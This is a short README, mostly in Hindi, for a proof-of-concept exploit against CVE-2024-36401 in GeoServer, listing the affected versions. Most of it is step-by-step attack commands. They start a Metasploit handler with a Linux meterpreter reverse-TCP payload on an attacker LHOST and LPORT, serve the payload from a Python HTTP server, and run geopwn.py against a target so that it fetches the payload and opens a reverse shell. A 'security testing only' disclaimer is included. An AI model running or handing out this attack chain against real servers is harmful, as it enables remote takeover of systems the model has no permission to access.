CVE-2024-36401-PoC

CVE-2024-36401 GeoServer के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट
GeoServer के संवेदनशील संस्करण 2.23.6 | 2.24.4 | 2.25.2 से पहले के हैं

!!! केवल सुरक्षा परीक्षण उद्देश्यों के लिए !!!
******************************************************
इसे उन सिस्टमों पर उपयोग न करें जिनके आप
मालिक नहीं हैं जब तक आपके पास स्पष्ट अनुमति न हो !!!

चलाने के लिए...

1. Metasploit में एक लिसनर प्रारंभ करें
   • root@kitploit:~

     msf6 > use exploit/multi/handler
     msf6 > exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
     msf6 > exploit(multi/handler) > set LHOST 10.10.10.1 <--(set to your IP)
     msf6 > exploit(multi/handler) > set LPORT 1234 <--(you can leave default, or change to your preference)
     msf6 > exploit(multi/handler) > run
     
     [*] Started reverse TCP handler on 10.10.10.1:1234
     
     

2. Python के साथ HTTP सर्वर प्रारंभ करें
   • root@kitploit:~

     hacker@kali~> python3 -m http.server
     Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
     

3. एक्सप्लॉइट चलाएँ
   • root@kitploit:~

     hacker@kali~> python3 ./geopwn.py <target_domain_or_IP> <payload_URL> <LHOST> <LPORT>